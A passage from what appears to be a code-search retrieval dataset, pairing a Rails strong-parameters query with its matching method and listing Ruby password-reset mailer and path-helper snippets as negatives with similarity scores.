\"#{@hostname}#{edit_password_reset_path(@user.resettoken)}\"\n\n\t\tmail(to: @user.email, subject: 'Recuperació de contrasenya de Creu Roja a Catalunya')\n\tend", "def password_reset\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def password_reset\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def password_reset\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def password_reset\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def gen_reset_link(url, token)\n \"#{url}/reset_password/#{token}/edit?email=#{self.email}\"\n end", "def password_reset\n MemberMailer.password_reset\n end", "def password_reset\n StudentEmailConfirmation.password_reset\n end", "def password_reset(rgluser)\n @rgluser = rgluser\n @parent = rgluser.user.parent\n mail to: @parent.email, subject: \"Reset Password Requested\"\n end", "def password_reset\n PenggunaMailer.password_reset\n end", "def base_path\n Settings.form526_backup.url\n end", "def password_reset(user, token)\n @user = user\n @token = token\n mail(\n to: @user.email,\n from: '[email protected]',\n subject: 'パスワードの再設定'\n )\n end", "def reset_password(user)\n setup_email(user)\n subject \"Password reset link\"\n\n body :user => user, :host => FROM_HOST\n end", "def reset_password_url(resource, token)\n \"#{react_root_url(resource)}/password/edit?reset_password_token=#{token}&resource=#{resource.class.name}\"\n end", "def after_password_expired_update_path_for(_resource)\n stored_location_for(scope) || :root\n end", "def reset_password\n [send_email(MailPart.new_subject(I18n.t('devise.mailer.reset_password_instructions.subject')),\n nil,\n MailPart.new_body(''),\n EmailStuff::TYPES[:reset_password],\n reset_pass_call),\n @candidate_mailer_text.token]\n end", "def root_dir\n 'gen_passwd'\n end", "def reset_password_instructions_for_applicant\n Devise::Mailer.reset_password_instructions Applicant.first, 'faketoken'\n end", "def reset_password\n # TODO: Implement actual functionality -- Wed Jun 13 15:26:53 2012\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def public_forgot_password\n end", "def sms_password_reset_link\n api_response = \"\"\n link=\"http://#{ApplicationController::SITE_URL}/new_password/#{self.password_reset_code}\"\n txtlocal = Txtlocal.find_by_sms_type(Txtlocal::RESET_PASSWORD)\n if !self.mobile.blank?\n if !txtlocal.nil?\n txtlocal.message_contents += link\n api_response = txtlocal.send_sms(self.mobile)\n else\n api_response = \"SMS type does not exist\"\n end\n else\n api_response = \"You have not provided any mobile number. Please go to your 'Account' to set up a mobile number\"\n end\n \n api_response\n end", "def password_reset(shepherd)\n\t\t@shepherd = shepherd\n\t\tmail to: shepherd.email, subject: \"Password reset\"\n end", "def forgot_password\n self.password_reset_code = Digest::SHA1.hexdigest( Time.now.to_s.split(//).sort_by {rand}.join )\n end", "def show\n redirect_to edit_password_reset_path\n end", "def get_return_to_path\n # see if it was stored as a parameter. This is the safest way to get\n # the correct URL.\n path = Base64.urlsafe_decode64(params[:return_to]) if params[:return_to]\n # If this data isn't available, try getting the referer instead.\n path ||= request.env['omniauth.origin'] || request.env[\"HTTP_REFERER\"] || \"/\"\n # If we somehow end up on the login page, redirect to root to avoid\n # user confusion\n return \"/\" if path.include?(\"/login\") || path.include?(\"/auth/\")\n # return path\n path\n end", "def password_rest\n UserMailer.password_rest\n end", "def change_password_path(user)\n case user.role\n when 'affiliate'\n affiliate_profiles_update_password_path\n when 'advertiser'\n advertiser_profiles_update_password_path\n when 'influencer'\n influencer_profiles_update_password_path\n when 'admin'\n admin_dashboard_update_password_path\n end\n end", "def gen_reset_link(url, token)\n \"#{url}/reset_password/#{token}/edit?email=#{self.email}\"\n end", "def gen_reset_link(url, token)\n \"#{url}/reset_password/#{token}/edit?email=#{self.email}\"\n end", "def student_password_reset\n StudentMailer.student_password_reset\n end", "def forgot_password\n NotificationsMailer.forgot_password\n end", "def forgot_password\n NotificationsMailer.forgot_password\n end", "def forgot_password\n NotificationsMailer.forgot_password\n end", "def mailtome\n maildomain = ''\n fromaddr = ''\n frompasswd = ''\n mailserver = ''\n mailport = \n mailname = @authex.username\n useremail = @authex.email\n mailhash = @authex.keyhash\n msg = \"Subject: Password Reset Request\nFrom: Password Reset <[email protected]>\nTo: #{mailname} <#{useremail}>\nMIME-Version: 1.0\nContent-type: text/html\nSomeone has requested a password reset for username <b>#{mailname}</b> at this email address.<br>\nif it was you:<br>\n<a href=\\\"#{request.url.gsub(/done/,'confirm')}/#{mailhash}\\\">Click here to confirm!</a><p>\n\nIf not you can ignore this request and the password reset request will expire in 10 minutes<p>\nRegards,<br>\nYour Admin.\"\n smtp = Net::SMTP.new mailserver, mailport\n smtp.enable_starttls\n smtp.start(maildomain, fromaddr, frompasswd, :login) do\n smtp.send_message(msg, fromaddr, useremail)\n end\nend", "def path\n root? ? boot_path : user_path\n end", "def path\n root? ? boot_path : user_path\n end", "def after_password_reset; end", "def password_forget\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n redirect_to lato_core.root_path if core_controlSession\n end", "def base_path\n if debug\n \"/#{debug_prefix}/\"\n else\n \"/#{digest_prefix}/\"\n end\n end", "def logical_path\n digest_path\n end", "def reset_password\n Notifier.reset_password\n end", "def after_update_path_for(resource)\n # sign_in_after_change_password? ? signed_in_root_path(resource) : new_session_path(resource_name) )\n yams_core.edit_user_registration_path(resource)\n end", "def reset_password\n @user.send_reset_pass_email\n head :no_content\n end" ]
[ "0.7399897", "0.7388807", "0.7221363", "0.7169863", "0.70551175", "0.70126516", "0.7008006", "0.6926533", "0.6911947", "0.6905408", "0.6905408", "0.6900387", "0.6900387", "0.6900387", "0.6884388", "0.68729913", "0.6870175", "0.6807925", "0.6807925", "0.6781113", "0.6687174", "0.6660153", "0.66496974", "0.66429615", "0.66345906", "0.6626534", "0.6626534", "0.6593263", "0.6484461", "0.6372814", "0.6281759", "0.6267389", "0.6253991", "0.6233164", "0.6233054", "0.6224841", "0.62232476", "0.62128997", "0.6197718", "0.61675", "0.61478686", "0.6147082", "0.61427456", "0.61343914", "0.6087031", "0.6076175", "0.60754335", "0.60705876", "0.6052106", "0.604222", "0.6027661", "0.60235375", "0.60179967", "0.60179967", "0.60179967", "0.59844965", "0.5977838", "0.5961911", "0.5961911", "0.5961911", "0.5945151", "0.59315526", "0.5930269", "0.5921533", "0.5921198", "0.59200114", "0.59184515", "0.59092504", "0.5895002", "0.58876234", "0.58820057", "0.5872543", "0.587053", "0.5862915", "0.58626854", "0.58508843", "0.5845148", "0.5835947", "0.583566", "0.5831322", "0.5803924", "0.58001137", "0.57810307", "0.57750225", "0.57750225", "0.5772882", "0.5771484", "0.5771484", "0.5771484", "0.5759941", "0.5758867", "0.5758867", "0.5756615", "0.57559323", "0.57435143", "0.5734812", "0.5724625", "0.5715916", "0.57145727" ]
0.6858631
18
has_many :episodes, include_nested_associations: true
def episodes object.episodes.collect do |episode| { :episode_code => episode.episode_code, :episode_name => episode.episode_name } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @episodes = @season.episodes\n end", "def episode_params\n params.require(:episode).permit(:user_id, :comment, :approved_by, :approved_time,:title,:total_time,:holiday_id, :start_date, :end_date,:_destroy,children_attributes: [:total_time,:holiday_id, :start_date, :end_date,:_destroy,:id])\n end", "def embedded_associations\n associations.values.select(&:embedded?)\n end", "def set_episode\n @episode = Episode.includes(:season).find(params[:id])\n end", "def associated\n end", "def show\n render json: @episode\n end", "def episodes\n Episode.all.select{ |episode| episode.show == self }\n end", "def episode_params\n params.require(:episode).permit(:human_id, :project_list)\n end", "def tv_episode_params\n params.require(:tv_episode).permit(:title, :tmdb_episode_id, :description, :air_date, :episode_number, :season_number, :tvshow_image_url)\n end", "def episode_params\n params.require(:episode).permit(:name, :storyline, :image, :runtime, :release_at, { user_ids:[] })\n end", "def episode_params\n params.require(:episode).permit(:season_id, :name, :position, :visible, :embed_code, :description)\n end", "def index\n @episodes = Episode.all\n end", "def index\n @episodes = Episode.all\n end", "def index\n @episodes = Episode.all\n end", "def index\n @episodes = Episode.all\n end", "def index\n @episodes = Episode.all\n end", "def index\n @episodes = Episode.all\n end", "def episode_params\n params.require(:episode).permit(:title, :body, :image_url)\n end", "def attended_events\n Event.where('attendances.person_id = ?', self.id).includes(:instances => [:meetings => :attendances]).references(:instances)\n end", "def episode_params\n params.require(:episode).permit(:title, :description, :approved, :creator_id, :show_id, :video_type, :video_id)\n end", "def show\n @episode = @series.episodes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @episode }\n end\n end", "def embedments\n model.embedments\n end", "def episode_params\n params.require(:episode).permit(:name, :start_date, :end_date, :description, :avatar)\n end", "def add_episode_to_podcasts\n \tPodcast.all.each do |podcast|\n show_hash = Scraper.scrape_show_page(podcast.show_page_url)\n \t podcast.add_episode_name(show_hash)\n \tend\n end", "def nestings\n item.nestings\n end", "def objectify_episode (episode)\n {\n :id => episode.id,\n :name => episode.name,\n :timestep => episode.timestep,\n :states => objectify_json(episode.states),\n :diff_states => objectify_json(episode.diff_states),\n :commands => objectify_json(episode.commands),\n :simulator_logs => objectify_json(episode.simulator_logs),\n :created_at => episode.created_at,\n :updated_at => episode.updated_at,\n }\n end", "def associations; end", "def init\n update_episodes\n end", "def extract_embedded_relations(table)\n model = find_model(table.name)\n parent_model = find_model(table.embed_in)\n\n model.add_relation(Model::Relation::EMBEDDED_IN, table.embed_in)\n parent_model.add_relation((table.embedded_as_object? ? Model::Relation::EMBEDS_ONE : Model::Relation::EMBEDS_MANY), model.table_name)\n model\n end", "def larry_all_episodes (larry_david)\n all_shows = []\n Episode.all.map do |episode|\n show = { character_id: larry_david.id, episode_id: episode.id}\n all_shows.push(show)\n end\n Show.create(all_shows)\nend", "def index\n # @episodes = Episode.all\n @trabajador = Trabajador.find(params[:trabajador_id])\n @episodes = @trabajador.episodes\n\n end", "def watching_episodes\n shows = ::TvShow.watching\n @episodes = episodes.each_with_object([]) do |episode, object|\n show = shows.find{|sh| sh.imdb_id == episode.show.ids.imdb}\n next if show.blank?\n object << episode\n end.uniq{|episode| episode.show.title}\n self\n end", "def test_movie_valid_parent\n movie = Movie.find( movies(:king_kong).id )\n parent = Movie.find( movies(:batman_series).id )\n movie.parent = parent\n assert movie.save\n assert_equal( 2, parent.children.size )\n end", "def new\n @series=Series.find(params[:series_id])\n @season = @series.seasons.find(params[:season_id])\n @episode = @season.episodes.build\n \n p @episode\n #@episode = Episode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @episode }\n end\n end", "def set_episode\n @episode = Episode.find(params[:id])\n @epis = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def episode_params\n params.require(:episode).permit(:title, :url, :published, :source)\n end", "def episode_params\n params.require(:episode).permit(:course_id, :title, :description, :order, :video_link)\n end", "def episode_params\n params.require(:episode).permit(:name, :episode, :path, :overview, :remote_thumb, :season, :air_date, :series_id)\n end", "def index\n @episodes = @series.episodes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @episodes }\n end\n end", "def episode_params\n params.require(:episode).permit(:name, :description, :date, :number, :write, :director, :duration, :season_id, :tag_list)\n end", "def associated_records\n []\n end", "def child_relation; end", "def setup_associations; end", "def related_employees\n ratings.employees\n end", "def visible_fields\n Episode::VisibleFields\n end", "def has_associations\n assocs.each_rel.to_a\n end", "def episodes(options)\n # Set default options unless defined in the options hash\n options[:content_type] = 'episode'\n options[:include] = 2 unless options.key?(:include)\n options[:order] = '-fields.releaseDate' unless options.key?(:order)\n\n objects('Episode', options)\n end", "def episode_params\n params.require(:episode).permit(:title, :season, :number, :show, :length, :description)\n end", "def episode_params\n params.require(:episode).permit(:dj_id, :notes, :shadowed)\n end", "def model_relationships; end", "def associated_variants\n good.variants\n end", "def new\n @episode = Episode.new do |episode|\n episode.episode_image = EpisodeImage.new\n episode.video = Video.new\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @episode }\n end\n end", "def embeddables\n page_items.map(&:embeddable)\n end", "def exposed_associations\n []\n end", "def exposed_associations\n []\n end", "def exposed_associations\n []\n end", "def exposed_associations\n []\n end", "def embeddables\n self.page_items.collect{|qi| qi.embeddable}\n end", "def event_collection(collection=Conference)\n collection.includes(:presentations => :publications ).references(:presentations => :publications )\n end", "def episodes_track ( show, season, episode, name)\n @episodes[show] = {} if @episodes[show].class.to_s != 'Hash'\n @episodes[show][season] = {} if @episodes[show][season].class.to_s != 'Hash'\n @episodes[show][season][episode] = name\n end", "def episode_id\n @ole.EpisodeID\n end", "def episode_params\n params.require(:episode).permit(:number, :watched, :downloaded,\n :season_id, :original_file, :mp4_file)\n end", "def episode_params\n params.require(:episode).permit(:name, :description, :date, :number, :write, :director, :duration, :season_id, :tag_list)\n end", "def index\n @episodes = Episode.all\n\n render json: @episodes\n end", "def add_episodes( season, *episodes)\n @seasons[season].first.concat(episodes)\n @seasons[season].flatten\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def set_episode\n @episode = Episode.find(params[:id])\n end", "def episode_show_pagination\n\t\tself.class.episode_show_pagination( self, @show )\n\tend", "def related_articles\n respond_to?(:relatedArticle) ? relatedArticle : []\n end", "def embedded\n { _embedded: embedded_resources }\n end", "def episode_params\n params[:episode]\n end", "def set_show\n # @show = Show.find(params[:id])\n # @show = Show.friendly.find(params[:id])\n #@show = Show.includes(:episodes).where(\"episodes.approved\" => true).friendly.find(params[:id])\n @show = Show.includes(:episodes).where(\"episodes.approved\" => true).order('episodes.episode').friendly.find(params[:id])\n end", "def episode_params\n params.require(:episode).permit(:q, :tag_id, :tag, :search, :audio_preview_url, :description, :duration_ms, :web_url, :id, :image_url, :name, :release_date, :uri)\n end", "def eager_loading_use_associated_key?\n true\n end", "def embedded_item\n @embedded_item\n end", "def tracked_embeds_many\n @tracked_embeds_many ||= begin\n reflect_on_all_associations(:embeds_many)\n .map(&:key)\n .select { |rel| history_trackable_options[:relations][:embeds_many].include? rel }\n end\n end", "def set_trainee\n @trainee = Trainee.includes(episodes: [:show]).find(params[:id])\n end", "def attendees\n EventAttendee.find_all_by_event_id(self.id) \n end", "def children_table; end", "def destroy\n @episode.destroy\n end", "def episode; end", "def episode; end", "def episode; end", "def episode; end", "def set_episode\n @episode = @season.episodes.find_by(number: params[:id])\n end", "def categories\n Category.categories_for_movie self\n end", "def create\n @episode = Episode.new(episode_params)\n\n if @episode.save\n render json: @episode, status: :created, location: @episode\n else\n render json: @episode.errors, status: :unprocessable_entity\n end\n end", "def load_episode\n\t\t\t@episode = Episode.find(params[:episode_id])\n\t\tend", "def sub_facts\n MatterFact.all(:conditions => [\"parent_id = ?\", self.id])\n end", "def movie_list\n self.lists\n end" ]
[ "0.5931878", "0.58995104", "0.580515", "0.57973546", "0.5754207", "0.5745016", "0.5694779", "0.5641791", "0.5631923", "0.5631378", "0.556535", "0.5542792", "0.5542792", "0.5542792", "0.5542792", "0.5542792", "0.5542792", "0.5541163", "0.5515765", "0.55095404", "0.5490125", "0.5466324", "0.544743", "0.54407394", "0.5436374", "0.5432008", "0.5422638", "0.54096156", "0.539959", "0.5397097", "0.5387116", "0.53824884", "0.5372549", "0.5364773", "0.5362467", "0.53526205", "0.53526205", "0.534338", "0.5340917", "0.53259367", "0.532271", "0.5293474", "0.52845776", "0.5280725", "0.5272331", "0.52523875", "0.5245106", "0.5225825", "0.522074", "0.52087945", "0.5208162", "0.5207494", "0.520502", "0.51949304", "0.5183673", "0.5179747", "0.5179747", "0.5179747", "0.5179747", "0.51785713", "0.5178243", "0.5168027", "0.51652783", "0.51577", "0.5148309", "0.51432127", "0.5140051", "0.51271796", "0.51271796", "0.51271796", "0.51271796", "0.51271796", "0.51271796", "0.51271796", "0.51271796", "0.51271796", "0.51271796", "0.51266634", "0.511979", "0.5114882", "0.51106465", "0.51058143", "0.50917506", "0.50853395", "0.50827307", "0.5066687", "0.5063635", "0.5062074", "0.50490206", "0.50481814", "0.50464135", "0.50464135", "0.50464135", "0.50464135", "0.50409216", "0.50385094", "0.5037832", "0.5037059", "0.50249255", "0.5017086" ]
0.60838485
0
Write a method that takes an Array of numbers, and returns an Array with the same number of elements, and each element has the running total from the original Array. Examples:
def running_total(array) result = [] array.each_index do |i| result[i] = (0..i).to_a.map { |e| array[e] }.inject(:+) end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def running_total(array)\n run_total = []\n \n index = 1\n while index <= array.length\n element = array.slice(0,index)\n run_total << element.inject(:+)\n index += 1\n end\n run_total\nend", "def running_total(array)\r\n new_arr = []\r\n total = 0\r\n array.map do |x|\r\n total += x\r\n new_arr << total\r\n end\r\n new_arr\r\n end", "def running_total(array)\n new_array = []\n i = 0\n while i <= array.length - 1\n new_array << array[0..i].reduce(:+)\n i += 1\n end\n new_array\nend", "def running_total(array)\n array.map.with_index { |e, i| array[0..i].reduce(:+) }\nend", "def running_total(array)\n sum = 0\n new_array = []\n array.each do |num|\n sum += num\n new_array << sum\n end\n new_array\nend", "def running_total(array)\n p array.each_with_index { |_, index| array[0..index].reduce(:+) }\nend", "def running_total(array_of_nums)\n increment = 0\n running_total_array = []\n\n array_of_nums.each do |num|\n running_total_array << num + increment\n increment += num\n end\n\n running_total_array\nend", "def running_total(array)\n total = 0\n new_array = []\n while array.size > 0\n total += array.shift\n new_array << total\n end\n new_array\nend", "def running_total(arr)\n totals = []\n arr.inject(0) do |total, num|\n totals << num + total\n total += num\n end\n return totals\nend", "def running_total(input_array)\n sum = 0 # => 0, 0, 0, 0\n new_array = input_array.map do |value| # => [2, 5, 13], [14, 11, 7, 15, 20], [3], []\n sum += value # => 2, 7, 20, 14, 25, 32, 47, 67, 3\n end # => [2, 7, 20], [14, 25, 32, 47, 67], [3], []\nend", "def running_total(arr)\n tot = []\n arr.size.times do |i|\n tot << arr[0..i].reduce(&:+)\n end\n tot\nend", "def running_total(array)\n new_array = []\n sum = 0\n count = 0\n\n while count < array.size\n array.each do |num|\n sum += num\n new_array << sum\n count += 1\n end\n end\n new_array\nend", "def running_total(array)\n output = []\n return output if array.empty?\n output[0] = array[0]\n counter = 1\n\n while counter < array.size\n output << (output[counter - 1] + array[counter])\n counter += 1\n end\n output\n end", "def running_total1(array)\n r_total = 0\n array.map { |n| r_total += n }\nend", "def running_total(array)\n result = []\n count = 0\n total = 0\n\n while count < array.size\n total += array[count]\n result << total\n count += 1\n end\n result\nend", "def running_total(array)\n sum = 0\n running_total = []\n\n array.each do |element|\n sum += element\n running_total << sum\n end\n\n running_total\nend", "def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend", "def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend", "def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend", "def running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend", "def running_total(array)\n\n\treturn array if array.empty?\n\n\ttotal = 0\n\n\tarray.map! do |num|\n\t\ttotal += num\n\tend\n\nend", "def running_total(array)\n sum = 0\n total = array.map { |num| sum += num }\nend", "def running_total(array)\n total = 0\n array.map { |num| total += num }\nend", "def running_total(array)\n # new_array = []\n sum = 0\n array.inject([]) do |arr, val| \n sum += val\n arr << sum \n arr\n end\nend", "def my_running_total(array)\n result_array = []\n result_array << array.shift unless array.empty?\n\n until array.empty?\n result_array << result_array.last + array.shift\n end\n\n result_array\nend", "def running_total(array)\n result = 0\n array.map {|num| result += num }\n array.map do |num|\n result += num\n end\nend", "def running_total(array)\n sum = 0\n\n array.each_with_object([]) do |number, new_array|\n new_array << sum += number\n end\nend", "def running_total(array)\n result = []\n sum = 0\n index = 0\n\n while array.size > index\n result << sum += array[index]\n index += 1\n end\n result\nend", "def running_total(array)\n sum = 0\n array.each_with_object([]) do |el, new_array|\n new_array << sum += el\n end\nend", "def running_total(arr)\n totals_arr = []\n acc = 0\n arr.each do |num|\n acc = acc + num\n totals_arr << acc\n end\n totals_arr\nend", "def running_total(arr)\n new_arr = []\n running_total = arr[0]\n arr.each_with_index do |element, index|\n new_arr.push(running_total)\n running_total = running_total + arr[index + 1].to_s.to_i\n end\n new_arr\nend", "def running_total(arr)\n res = []\n running_total = 0\n\n arr.each do |element|\n running_total += element\n res << running_total\n end\n\n res\nend", "def running_total(array)\n num = 0\n array.map do |number|\n num = number + num\n end\nend", "def running_total arr\n totals = []\n sum = 0\n arr.each do |elm|\n sum += elm\n totals << sum\n end\n totals\nend", "def running_total(arry)\n total = 0\n arry.map { |n| total += n }\nend", "def running_total(array)\n\n sum = 0\n\n array.map { |value| sum += value }\n\nend", "def running_total(array)\r\n total = 0\r\n array.map { |num| total += num} \r\nend", "def running_total(arr)\n sum = 0\n arr.inject([]) { |running_sum, num| running_sum << sum += num }\nend", "def running_total(array)\n total = 0\n array.map do |e|\n total = total * 10 + e\n end\n total\nend", "def running_total(array)\n total = 0\n array.map do |e|\n total = total * 10 + e\n end\n total\nend", "def running_total(array)\n result = []\n\n array.inject(0) do |sum, num|\n result << sum += num\n sum # have to return sum\n end\n result\nend", "def running_total(input_arr)\n total = 0\n input_arr.map do |current_element|\n total += current_element\n end\nend", "def running_total(old_array)\n counter = 0\n new_array = []\n loop do \n break if counter >= old_array.length\n if counter == 0\n new_array[counter] = old_array[counter]\n else \n new_array[counter] = old_array[counter] + new_array[counter-1]\n end\n counter += 1\n end\n new_array\nend", "def running_total(array_nums)\n total = 0\n array_nums.map { |num| total += num }\nend", "def running_total(array)\n total = 0\n array.map do |e|\n total += e\n end\n total\nend", "def running_total(arr)\n results = []\n total = 0\n arr.each do |el|\n total += el\n results << total\n total = total\n end\n results\nend", "def running_total(arr)\n running_total_arr = []\n sum = 0\n arr.each do |num|\n sum += num\n running_total_arr << sum\n end\n running_total_arr\nend", "def running_total(arr)\n arr.map.with_index { |_, index| arr[0..index].sum }\nend", "def running_total(arr)\n arr.map.with_index { |_int, i| arr[0..i].sum }\nend", "def running_total(numbers)\n numbers.map.with_index { |_, i| numbers[0..i].reduce(:+)}\nend", "def running_total(arr)\n sum = 0\n arr.map { |ele| sum += ele }\nend", "def running_total(arr)\n total = 0\n arr.map { |num| total += num}\nend", "def running_total(arr)\n total = 0\n arr.map { |num| total += num }\nend", "def running_total(arr)\n return [] if arr.empty?\n running_sum = [arr[0]]\n counter = 1\n loop do \n break if counter == arr.size\n \n current_value = arr[counter]\n last_number = running_sum.last\n running_sum << current_value + last_number\n \n counter += 1\n end\n running_sum\nend", "def running_total(arr)\n sum = 0\n arr.map { |num| sum += num }\nend", "def running_total(arr)\n sum = 0\n arr.map do |n|\n sum += n\n end\nend", "def running_total(arr)\n total_sum = 0\n arr.map { |elem| total_sum += elem }\nend", "def efficient_running_total(array)\n sum = 0\n array.map { |value| sum += value }\nend", "def running_total_2(array)\n total = 0\n array.map do |x|\n total += x\n end\nend", "def running_total3(array)\n sum = 0\n array.map do |num|\n sum = [sum, num].inject(:+)\n end\nend", "def running_total(numbers)\n index = 1\n while index < numbers.length\n numbers[index] = numbers[index] + numbers[index - 1]\n index += 1\n end\n numbers\nend", "def running_total(nums_ary)\n ary = []\n\n nums_ary.reduce(0) do |sum, num|\n ary << sum + num\n sum + num\n end\n ary\nend", "def running_total(input_arr)\n running_total_arr = []\n input_arr.each_with_index do |elem, idx|\n if idx == 0\n running_total_arr[idx] = input_arr[idx]\n p running_total_arr\n else\n running_total_arr[idx] = running_total_arr[idx - 1] + input_arr[idx]\n p running_total_arr\n end\n end\n return running_total_arr\nend", "def running_total_with_reduce_2(array)\n array.map.with_index do |el, idx|\n array[0..idx].reduce(:+)\n end\nend", "def run_total(array)\n sum = 0\n array.map { |num| sum += num }\nend", "def reduce_to_total(source_array, starting_point = 0)\n #source_array.reduce(starting_point) {|sum, n| sum + n}\n i = 0\n sum = starting_point\n while i < source_array.length do\n sum = sum + source_array[i]\n i += 1\n end\n return sum\nend", "def reduce_to_total(source_array, starting_point = 0)\n return source_array.reduce() {|sum,n| sum + n}\nend", "def running_total(int_arr)\n sum = 0\n int_arr.map do |x|\n sum += x\n end\nend", "def running_total1(array)\n array_new = []\n loop do\n break if array.empty?\n array_new << array[0]\n array[1] = array[0] + array[1] if array.size >= 2\n array.shift\n end\n array_new\nend", "def sum_of_sums(array)\n n = 1\n running_total = 0\n while n <= array.size\n running_total += array.first(n).reduce(:+)\n n += 1\n end\n running_total\nend", "def array_num_total array\r\n i = 0\r\n\tnum_total = 0\r\n\tinteger_array = array.collect { |item| item.to_i }\r\n\twhile i < integer_array.length\r\n\t num_total = integer_array[i] + num_total\r\n\t\ti = i + 1\r\n\tend\r\n num_total\r\nend", "def total array\n array.inject(0){|sum,x| sum + x }\nend", "def running_total2(array)\n total = 0\n array.each_with_object([]) do |num, arr|\n total += num\n arr << total\n end\nend", "def total(array)\n x = 0\n while x < array.length\n array.each do |n|\n x += n\n end\n end\n return x\nend", "def total (array)\n\tarray.inject { |sum, n| sum + n }\nend", "def reduce_to_total(source_array, starting_point=0)\n i = 0\n total = starting_point\n while i < source_array.length do\n total = total + source_array[i]\n i += 1\n end\n total\nend", "def reduce_to_total(arr, starting_point=0)\n arr.reduce(starting_point) do |acc, cur_val|\n acc + cur_val\n end\nend", "def total(array)\n array[0..-1].reduce(:+)\nend", "def total(array)\n sum = 0\n array.each { |i| sum += i }\n return sum\nend", "def arr_sum(array)\n sum = 0 # Declares initial value for variable 'sum' as 0\n array.each do |i| # Begin iterating each item of arr\n sum += i # add each number in array to the next item, continue until items exhausted\n end\n return sum # Returns new sum value\nend", "def total(array)\n array.inject(0) {|total, i| total + i }\nend", "def total(array)\n array.inject { |sum, n| sum + n}\nend", "def sum_of_sums(array)\n total = 0\n\n 1.upto(array.size) do |num|\n total += array.slice(0, num).reduce(:+)\n end\n total\nend", "def reduce_to_total(source_array, starting_point)\n source_array.reduce(100) { |sum, n| sum + n }\nend", "def sum_of_sums(array)\n sequence_total = 0\n sum = 0\n array.each do |n|\n sequence_total += n\n sum += sequence_total\n end\n sum\nend", "def reduce_to_total(array,starting_point=0)\n total = starting_point\n counter = 0 \n while counter < array.size do \n total += array[counter]\n counter += 1\n end\n total\nend", "def total(array)\n sum = 0\n array.each do |n|\n sum += n\n end\n sum\nend", "def running_total(numbers)\n numbers.each.with_index do |num, i|\n if i != 0\n numbers[i] += numbers[i - 1]\n end\n end\n numbers\nend", "def running_total(array1)\n array2 = []\n sum = 0\n array1.each do |num|\n array2 << sum += num \n end\n puts \"running_total(#{array1}) == #{array2}\"\nend", "def sum_array(array)\n array.inject { |sum, n| sum += n}\nend", "def reduce_to_total(array)\n total = 0 \n count = 0 \n while count < array.length do\n total = total + array[count]\n count += 1\n end\n total\nend", "def running_total(numbers)\n total = 0\n numbers.map { |number| total += number }\nend", "def total(array)\n sum = 0\n array.each {|x| sum += x}\n return sum\nend", "def total(array) \n number = 0\n array.each do |i|\n number += i\n end\n number\nend", "def sum_array(array)\n\tarray.inject { |sum, n| sum + n }\nend", "def sum_of_sums(array)\n new_array = []\n array.size.times do |n|\n new_array << array[0..n]\n end\n new_array.flatten.reduce(:+)\nend", "def total(array)\n sum = 0\n array.each { |i| sum += i}\n return sum\nend", "def total(array)\n sum = 0\n array.each do |number|\n sum = sum += number\n end\n sum\nend", "def total_of_array(array)\n array.inject(0) {|sum, i| sum + i }\nend", "def total(array)\n array.inject(0) {|sum, i| sum + i }\nend" ]
[ "0.8626914", "0.85823333", "0.85522926", "0.8549791", "0.8516487", "0.847079", "0.84627575", "0.84522915", "0.84447396", "0.8441292", "0.84375095", "0.84351766", "0.8414317", "0.840104", "0.83862555", "0.8341666", "0.8339806", "0.8338676", "0.8338676", "0.8338676", "0.83135456", "0.8301889", "0.82867664", "0.8275538", "0.82622826", "0.82498705", "0.8242227", "0.8230341", "0.82187915", "0.8213462", "0.82105434", "0.82051677", "0.82002157", "0.8193282", "0.81930345", "0.8183586", "0.8174965", "0.8137706", "0.81259894", "0.81259894", "0.8124399", "0.8123998", "0.8111086", "0.8103733", "0.8103655", "0.8092515", "0.80585825", "0.8047535", "0.80378145", "0.8033081", "0.8025779", "0.80189466", "0.8009162", "0.79646784", "0.7956442", "0.7948359", "0.7930061", "0.7919612", "0.7898398", "0.7891004", "0.7830077", "0.7826811", "0.7823445", "0.7813881", "0.7807614", "0.77664703", "0.7733003", "0.77201664", "0.7713872", "0.7711336", "0.7682456", "0.7674689", "0.766608", "0.7653571", "0.7639366", "0.7605238", "0.7595739", "0.75913584", "0.75882876", "0.7583309", "0.7581283", "0.7575294", "0.7571253", "0.7563753", "0.7548575", "0.7546346", "0.75447446", "0.75406194", "0.75374466", "0.75350505", "0.7523427", "0.7521227", "0.7513234", "0.7507563", "0.75057244", "0.75049675", "0.750263", "0.74995196", "0.74991596", "0.74969685" ]
0.8449086
8
Never trust parameters from the scary internet, only allow the white list through.
def master_reservation_params params.require(:master_reservation).permit(:paid, :payment_method, :user_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
